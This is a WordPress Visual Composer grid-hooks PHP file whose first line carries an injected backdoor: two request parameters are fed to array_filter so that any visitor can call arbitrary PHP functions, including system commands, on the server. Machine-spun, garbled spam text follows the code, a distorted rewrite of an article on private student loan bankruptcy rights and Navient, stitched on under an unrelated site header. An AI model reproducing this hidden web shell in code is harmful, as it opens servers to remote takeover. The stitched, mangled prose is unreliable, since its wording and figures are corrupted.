?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } A market-Large, $fifty Billion Program Took Personal Student loan Borrowers Case of bankruptcy Liberties - Groupe-SLG

Saint-Léonard Groupe SLG

A market-Large, $fifty Billion Program Took Personal Student loan Borrowers Case of bankruptcy Liberties

Recrutement :

Mannheim A market-Large, $fifty Billion Program Took Personal Student loan Borrowers Case of bankruptcy Liberties

Extremely borrowers accept that private college loans are basically impossible to release in personal bankruptcy. But this isn’t true. Rather, as research the newest SBPC released now lines, which extensive misbelief is the result of a years-long strategy from the education loan industry intended for clogging individuals of being able to access their complete rights for the case of bankruptcy-every in order for these businesses could mat its profits.

Our very own investigation suggests that within the increase-and-boobs duration out-of amazing individual degree borrowing from the bank you to taken place more than the past 2 decades, everything 2.six mil borrowers took on $fifty million independently figuratively speaking that were constantly presumptively dischargeable in bankruptcy proceeding-however, world used all of the key on the publication to-drive stressed borrowers of the directly to save. Such costs show a burden equal sizes so you can more than a third of your own entire personal education loan markets.

It’s the perfect time with the many years-much time scheme we have exposed to get rid of, having consumers to help you safe its liberties in legislation, as well as for law enforcement at all account to hold your feet regarding education loan companies eg Navient and Sallie Mae with the flame for their crimes

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Coming on the latest pumps out of a big, multi-state settlement connected with the fresh education loan organization Navient’s selling from risky and you can pricey subprime fund that they knew or need understood was probably standard, all of our investigation underscores exactly how much works remains to be done to hold the student loan world guilty of age of predatory practices.

The remainder-along with direct so you’re able to individual financing, career degree money so you can college students from the unaccredited schools, pub analysis fund, and much more-is actually presumptively dischargeable in the typical span of case of bankruptcy. Identical to with credit debt and private money, consumers facing financial stress during these type of individual student education loans keeps a path to save. The new education loan community forced all of these items regarding the mid-2000s from mid-2010s, and several presumptively dischargeable money will always be got its start to that time.

Education loan companies know that consumers is release such private student loans, however they plus remember that this may damage the bottom line if individuals would be to insist its straight to become free of these types of unaffordable expense. And therefore student loan people enjoys spent decades mistaken or outright sleeping to borrowers about their liberties, looking to no matter what to extract around they could of probably the most financially secured children in the country. Such companies’ tactics enjoys ranged regarding sticking not true get redirected here statements into the borrowers’ deals stating you to their money cannot be discharged in the case of bankruptcy all the how to proceeded to get on the borrowers who’d currently gone through new case of bankruptcy procedure.

In one single situation, Sallie Mae entered vocabulary to the package for its generally dischargeable Tuition Answer loan claiming Maybe not Dischargeable: This financing might not be dischargeable within the bankruptcy proceeding. Process of law have left onto rule that the denial is actually wrong, and therefore their addition within the loan agreements failed to change borrowers’ right to launch-but the destroy with regards to misleading a lot of borrowers has already been over.

In another eg, Navient went on meeting to your a broke debtor, incorrectly claiming you to definitely his fund couldn’t feel discharged from inside the bankruptcy proceeding-all because business warned the family into Wall surface Roadway you to definitely financial support vehicle packed with such same types of funds performed face the danger you to definitely borrowers could launch them during the personal bankruptcy.

Even after personal perceptions, just a good subset off individual figuratively speaking in reality face any heightened barriers to produce during the personal bankruptcy

The fresh range with the issue is massive. Centered on rates of one’s proportion regarding individual student loan financial obligation that has been used in ineligible expenses, the fresh new proportion off personal pupil debt which had been always loans attendance at ineligible schools, and ratio of individual education loan obligations due from the ineligible students, we imagine that over dos.6 billion borrowers took on $fifty million in the so-entitled personal student loans which can be released during the bankruptcy merely like most most other loans.

Because the statement contours, courts provides sided with consumers however if after instance to verify one to globe lied. However, education loan people remain the practices. In reality, once losing when you look at the court, the fresh new Chief executive officer out of Navient said: Recently, an appeals judge unearthed that, if you are this type of loans may actually feel dischargeable, brand new courtroom try wrong when he found that the latest plaintiffs got legislation to create these types of says beyond your bankruptcy proceeding courtroom that to start with heard their bankruptcy proceeding circumstances. Essentially, otherwise live in one of the three routine legal districts where student loan business was already bought so you’re able to end its lies, we offer they to save coming once you.

It is long-past owed into Individual Economic Shelter Bureau, the Government Trade Commission, state attorneys general, and you can state financial bodies so you can weed out this fraud shortly after and you may for everyone. Federal and state law enforcement will be use their capability so you can enjoin and option unjust, misleading, and you may abusive serves and you can techniques at each part of the latest student loan lives years since it means misrepresentations doing loan launch, and many county attorneys general possess a lot more defenses they may be able demand under condition Borrower Statement out-of Legal rights laws. Along with, there’s also a switch character for personal lawyer and you can legal therapists so you can step-in so you can affirm borrowers’ straight to personal bankruptcy.

In the long run, the latest findings of our statement would be to act as a keen ominous caution to have borrowers, advocates, and you can law enforcement out-of Navient’s future regarding student loan field. After the a proper-reported reputation for failure and you can abuse given that a national student loan servicer, Navient exited their part once the a builder on Agencies out-of Degree from inside the 2021. Now, Navient continues get together into the more $54 billion out-of government student education loans they owns from elderly, bank-depending federal student loan program and something $20 mil in private college loans, all while you are originating the new personal student education loans with the Earnest subsidiary.

Against the background out-of history week’s payment having attorneys standard during the 39 claims, our report’s results explain you to Navient’s perform regarding the individual education loan market is and has now already been rife which have consumer spoil, and that their broadening focus on their individual student loan portfolio is likely to release a new wave out of abusive means. Supporters, law enforcement, and you may consumers should all get on see.

Ben Kaufman is the Head away from Research and you may an elder Plan Advisor at College student Debtor Coverage Heart. The guy registered SBPC on the Consumer Financial Protection Bureau where the guy did just like the a great Director’s Economic Specialist towards the affairs related to beginner lending.

Amber Saddler is The advice during the Scholar Borrower Protection Cardio. A recent graduate of your Howard College College or university from Law, Amber entered SBPC once completing an excellent fellowship at the Alliance for Fairness in which she worked on government judicial nominations and you can the means to access justice items.

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